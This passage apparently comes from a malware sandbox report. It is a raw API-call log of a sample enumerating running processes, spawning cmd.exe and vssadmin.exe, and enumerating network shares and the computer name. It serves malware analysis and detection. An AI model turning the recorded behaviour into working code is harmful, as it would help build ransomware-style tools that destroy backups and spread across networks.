1 [0061.870] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0061.870] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0061.870] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0061.870] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0061.870] lstrlenW (lpString="toyota.exe") returned 10 [0061.870] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0061.871] lstrlenW (lpString="radiation.exe") returned 13 [0061.871] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0061.871] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0061.871] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0061.871] lstrlenW (lpString="ur illustration.exe") returned 19 [0061.871] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0061.871] lstrlenW (lpString="facing.exe") returned 10 [0061.872] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0061.872] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0061.872] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0061.872] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0061.872] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0061.873] lstrlenW (lpString="headline.exe") returned 12 [0061.873] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0061.873] lstrlenW (lpString="army_unsigned.exe") returned 17 [0061.873] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0061.873] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0061.873] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0061.874] lstrlenW (lpString="distribution-gif.exe") returned 20 [0061.874] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0061.874] lstrlenW (lpString="tribunal.exe") returned 12 [0061.874] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0061.874] lstrlenW (lpString="aafeof.exe") returned 10 [0061.874] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0061.874] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0061.875] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0061.875] lstrlenW (lpString="encryption.exe") returned 14 [0061.875] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.875] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.875] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0061.876] lstrlenW (lpString="1с_.exe") returned 7 [0061.876] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.876] lstrlenW (lpString="cmd.exe") returned 7 [0061.876] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.876] lstrlenW (lpString="conhost.exe") returned 11 [0061.876] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0061.876] lstrlenW (lpString="vssadmin.exe") returned 12 [0061.877] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0061.877] lstrlenW (lpString="VSSVC.exe") returned 9 [0061.877] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.461] lstrlenW (lpString="svchost.exe") returned 11 [0062.481] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0062.482] lstrlenW (lpString="LogonUI.exe") returned 11 [0062.482] Process32NextW (in: hSnapshot=0x190, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0062.483] CloseHandle (hObject=0x190) returned 1 [0062.483] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x944 [0038.451] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0038.451] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544a20 | out: hHeap=0x510000) returned 1 Thread: id = 6 os_tid = 0x948 [0038.452] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0038.452] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x545c40 [0038.452] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x545c40, Size=0x40) returned 0x546c20 [0038.452] GetLogicalDrives () returned 0x4 [0038.452] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57e488 [0038.452] GetComputerNameW (in: lpBuffer=0x57e48c, nSize=0x23fff6c | out: lpBuffer="XDUWTFONO", nSize=0x23fff6c) returned 1 [0038.453] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x58e490 [0038.453] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x546190) returned 0x0 [0038.453] WNetEnumResourceW (in: hEnum=0x546190, lpcCount=0x23fff38, lpBuffer=0x58e490, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x58e490, lpBufferSize=0x23fff40) returned 0x103 [0038.454] WNetCloseEnum (hEnum=0x546190) returned 0x0 [0038.454] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x23fff3c | out: lphEnum=0x23fff3c*=0x3ef2288) returned 0x0 [0042.931] WNetEnumResourceW (in: hEnum=0x3ef2288, lpcCount=0x23fff38, lpBuffer=0x58e490, lpBufferSize=0x23fff40 | out: lpcCount=0x23fff38, lpBuffer=0x58e490, lpBufferSize=0x23fff40) returned 0x0 [0042.931] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x55e048 [0042.931] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x58e490, lphEnum=0x23fff10 | out: lphEnum=0x23fff10*=0x546310) returned 0x0 [0043.280] WNetEnumResourceW (in: hEnum=0x546310, lpcCount=0x23fff0c, lpBuffer=0x55e048, lpBufferSize=0x23fff14 | out: lpcCount=0x23fff0c, lpBuffer=0x55e048, lpBufferSize=0x23fff14) returned 0x103 [0043.281] WNetCloseEnum (hEnum=0x546310) returned 0x0 [0043.281] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1000) returned 0x3ef1068 [0043.281] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x58e4b0, lphEnum=0x23fff10) Thread: id = 7 os_tid = 0x94c [0039.946] GetTickCount () returned 0x1142656 [0039.946] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x55bf78 [0039.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0039.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0039.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0039.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x55bf78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0039.951] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560278 [0039.951] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560278, Size=0x20) returned 0x545d30 [0039.951] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560278 [0039.951] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560278, Size=0x20) returned 0x545d58 [0039.951] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0039.952] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0039.952] Wow64DisableWow64FsRedirection (in: OldValue=0x24fff84 | out: OldValue=0x24fff84*=0x0) returned 1 [0039.952] lstrlenW (lpString="kernel32.dll") returned 12 [0039.952] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545d30 | out: hHeap=0x510000) returned 1 [0039.952] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0039.952] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545d58 | out: hHeap=0x510000) returned 1 [0039.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x54b418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0039.953] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.355] GetTickCount () returned 0x1142721 [0040.356] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0040.777] GetTickCount () returned 0x114280b [0040.778] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.596] GetTickCount () returned 0x11428d5 [0041.596] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.830] GetTickCount () returned 0x1142971 [0041.830] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0041.988] GetTickCount () returned 0x1142a1d [0041.988] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.348] GetTickCount () returned 0x1142b65 [0042.348] GetTickCount () returned 0x1142b65 [0042.348] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0042.833] GetTickCount () returned 0x1142d48 [0042.833] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.461] GetTickCount () returned 0x1142f1c [0043.461] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0043.860] GetTickCount () returned 0x11430b2 [0043.860] GetTickCount () returned 0x11430b2 [0043.860] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.295] GetTickCount () returned 0x1143257 [0044.295] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0044.917] GetTickCount () returned 0x11434a8 [0044.917] GetTickCount () returned 0x11434a8 [0044.917] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.286] GetTickCount () returned 0x11435ef [0045.286] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0045.622] GetTickCount () returned 0x1143747 [0045.622] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.064] GetTickCount () returned 0x114388e [0046.064] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.268] GetTickCount () returned 0x114391b [0046.268] GetTickCount () returned 0x114391b [0046.268] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.434] GetTickCount () returned 0x1143988 [0046.434] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.543] GetTickCount () returned 0x11439f5 [0046.543] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0046.652] GetTickCount () returned 0x1143a62 [0046.652] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.223] GetTickCount () returned 0x1143c94 [0047.223] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0047.418] GetTickCount () returned 0x1143d5f [0047.418] GetTickCount () returned 0x1143d5f [0047.418] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.205] GetTickCount () returned 0x114401d [0048.205] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.686] GetTickCount () returned 0x11441d1 [0048.686] GetTickCount () returned 0x11441d1 [0048.686] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0048.809] GetTickCount () returned 0x114424e [0048.809] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.248] GetTickCount () returned 0x11443c5 [0049.248] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.495] GetTickCount () returned 0x11444be [0049.495] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0049.691] GetTickCount () returned 0x114455a [0049.691] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.081] GetTickCount () returned 0x11446c1 [0050.081] GetTickCount () returned 0x11446c1 [0050.081] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.266] GetTickCount () returned 0x114477c [0050.266] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0050.709] GetTickCount () returned 0x1144895 [0050.709] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.212] GetTickCount () returned 0x1144a4a [0051.212] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.471] GetTickCount () returned 0x1144b43 [0051.471] GetTickCount () returned 0x1144b43 [0051.471] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0051.714] GetTickCount () returned 0x1144bff [0051.714] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.177] GetTickCount () returned 0x1144dd3 [0052.177] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.456] GetTickCount () returned 0x1144ecc [0052.456] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0052.845] GetTickCount () returned 0x1145052 [0052.845] GetTickCount () returned 0x1145052 [0052.845] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.320] GetTickCount () returned 0x1145226 [0053.320] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.629] GetTickCount () returned 0x114535e [0053.629] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0053.944] GetTickCount () returned 0x1145496 [0053.944] GetTickCount () returned 0x1145496 [0053.944] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.199] GetTickCount () returned 0x1145590 [0054.199] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.421] GetTickCount () returned 0x114567a [0054.421] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0054.842] GetTickCount () returned 0x114581f [0054.842] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.314] GetTickCount () returned 0x11459f3 [0055.314] GetTickCount () returned 0x11459f3 [0055.314] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0055.675] GetTickCount () returned 0x1145b5a [0055.675] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.089] GetTickCount () returned 0x1145cef [0056.089] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0056.682] GetTickCount () returned 0x1145f40 [0056.682] GetTickCount () returned 0x1145f40 [0056.682] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.225] GetTickCount () returned 0x1146162 [0057.225] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.534] GetTickCount () returned 0x114629a [0057.534] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0057.940] GetTickCount () returned 0x1146430 [0057.940] GetTickCount () returned 0x1146430 [0057.940] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.574] GetTickCount () returned 0x11466af [0058.574] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0058.904] GetTickCount () returned 0x11467f7 [0058.904] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.225] GetTickCount () returned 0x114693f [0059.225] GetTickCount () returned 0x114693f [0059.225] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.485] GetTickCount () returned 0x1146a38 [0059.485] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.695] GetTickCount () returned 0x1146b13 [0059.695] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0059.887] GetTickCount () returned 0x1146bce [0059.887] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0060.622] GetTickCount () returned 0x1146eab [0060.630] GetTickCount () returned 0x1146ebb [0060.630] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.085] GetTickCount () returned 0x114707f [0061.085] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0061.583] GetTickCount () returned 0x1147272 [0061.583] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.200] GetTickCount () returned 0x11474d3 [0062.200] GetTickCount () returned 0x11474d3 [0062.200] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0062.571] GetTickCount () returned 0x1147649 [0062.571] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) Thread: id = 8 os_tid = 0x950 [0039.947] GetTickCount () returned 0x1142656 [0039.947] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x560f90 [0039.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x560f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0039.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x560f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0039.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x560f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0039.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x560f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c [0039.952] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560278 [0039.952] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560278, Size=0x20) returned 0x545d58 [0039.952] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x560278 [0039.952] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x560278, Size=0x20) returned 0x545d30 [0039.953] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0039.953] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0039.953] Wow64DisableWow64FsRedirection (in: OldValue=0x25fff84 | out: OldValue=0x25fff84*=0x0) returned 1 [0039.953] lstrlenW (lpString="kernel32.dll") returned 12 [0039.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545d58 | out: hHeap=0x510000) returned 1 [0039.953] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0039.953] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545d30 | out: hHeap=0x510000) returned 1 [0039.953] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x56d428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0039.954] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.355] GetTickCount () returned 0x1142721 [0040.355] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0040.778] GetTickCount () returned 0x114280b [0040.778] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0041.597] GetTickCount () returned 0x11428d5 [0041.597] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0041.830] GetTickCount () returned 0x1142971 [0041.830] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0041.988] GetTickCount () returned 0x1142a1d [0041.988] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0042.348] GetTickCount () returned 0x1142b65 [0042.348] GetTickCount () returned 0x1142b65 [0042.348] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0042.832] GetTickCount () returned 0x1142d48 [0042.833] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.461] GetTickCount () returned 0x1142f1c [0043.461] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0043.860] GetTickCount () returned 0x11430b2 [0043.860] GetTickCount () returned 0x11430b2 [0043.860] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.295] GetTickCount () returned 0x1143257 [0044.295] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0044.917] GetTickCount () returned 0x11434a8 [0044.917] GetTickCount () returned 0x11434a8 [0044.917] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.287] GetTickCount () returned 0x11435ef [0045.287] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0045.623] GetTickCount () returned 0x1143747 [0045.623] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.065] GetTickCount () returned 0x114388e [0046.065] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.268] GetTickCount () returned 0x114391b [0046.268] GetTickCount () returned 0x114391b [0046.268] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.434] GetTickCount () returned 0x1143988 [0046.434] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.543] GetTickCount () returned 0x11439f5 [0046.543] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 [0046.652] GetTickCount () returned 0x1143a62 [0046.652] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0x64) returned 0x102 